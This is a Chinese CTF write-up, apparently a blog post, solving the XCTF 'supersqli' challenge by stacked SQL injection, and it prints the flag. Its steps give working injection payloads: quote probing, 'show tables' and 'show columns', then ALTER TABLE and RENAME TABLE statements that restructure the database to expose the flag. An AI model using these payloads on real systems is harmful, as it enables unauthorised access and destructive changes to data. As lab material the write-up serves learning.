攻防世界(xctf) web进阶 supersqli sql注入 堆叠注入
flag{c168d583ed0d4d7196967b28cbd0b5e9}
1.使用正常参数提交,显示正常网页
2.注入点判断 参数 1' 网页报错,sql语句异常,判定存在注入点
3.尝试判断闭合符合 1'# 单引号闭合(%23为url编码中的#)
4.尝试直接使用union注入 , 但是由于存在正在表达式 ,所以union无法使用
order by 判断了字段数为2
关键字被过滤:
5.只能用报错或者盲注注入出数据库的名字 supersqli (使用sqlmap也可以跑的出来数据库的名字)
6.尝试使用堆叠注入: -1;show tables%23 存在多个表的回显,考虑尝试并使用堆叠注入
6..由于是发现关键字就将结果返回并打印出来,冥思苦想了好久,最多只能使用报错或者盲注注入出数据库名字, 其余含有sql与的语法的参数就会返回指定的信息。 于是去网上找到了答案
思路:只过滤了几个常见的关键字,并没用全部不过滤,而且堆叠注入可以使用,尝试注入出查询的’words‘表和‘1919810931114514’表的结构,并使用堆叠注入将原本被查询的数据表的更改,将需要别查询表的名字更改为原本被查询的表的名字,由于可能存在列数不匹配的情况,先将其表的列数或者列明更改为相同列名
7.查询两个表的字段名: show columns from `需要查询的表`; 使用的时候注意加上反引号``
1919810931114514 表:payload: -1';show columns from `1919810931114514`%23
words表:-1';show columns from `words`%23
1919810931114514 表中的flag字段 应该就是我们想要的字段,words应该是本来查询的表,但是比原本的表多出一个字段,我们需要将其补全
8. 为1919810931114514 表添加id字段并将其 flag字段名更改为data
为1919810931114514添加一个id字段,并将其设置为主键和自动增加,以确定值的存在
payload:-1';ALTER TABLE `1919810931114514` ADD (id int(11) primary key auto_increment);%23
使用-1';show columns from `1919810931114514`%23查看是否添加成功:
将flag列名更改为data
payload:alert table `1919810931114514` change flag data varchar(100)%23
查看一下表结构:字段修改成功(下面为查询所有字段的sql语句)
9.将 words 表名字修改成任意表名, 将 1919810931114514 表的名字修改成 words表,查询1 即可,因为原本的对应的查询就是id的值,这里我们只需要填入id的值即可
payload : -1';rename table `words` to `tables`;rename table `1919810931114514` to `words`%23
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】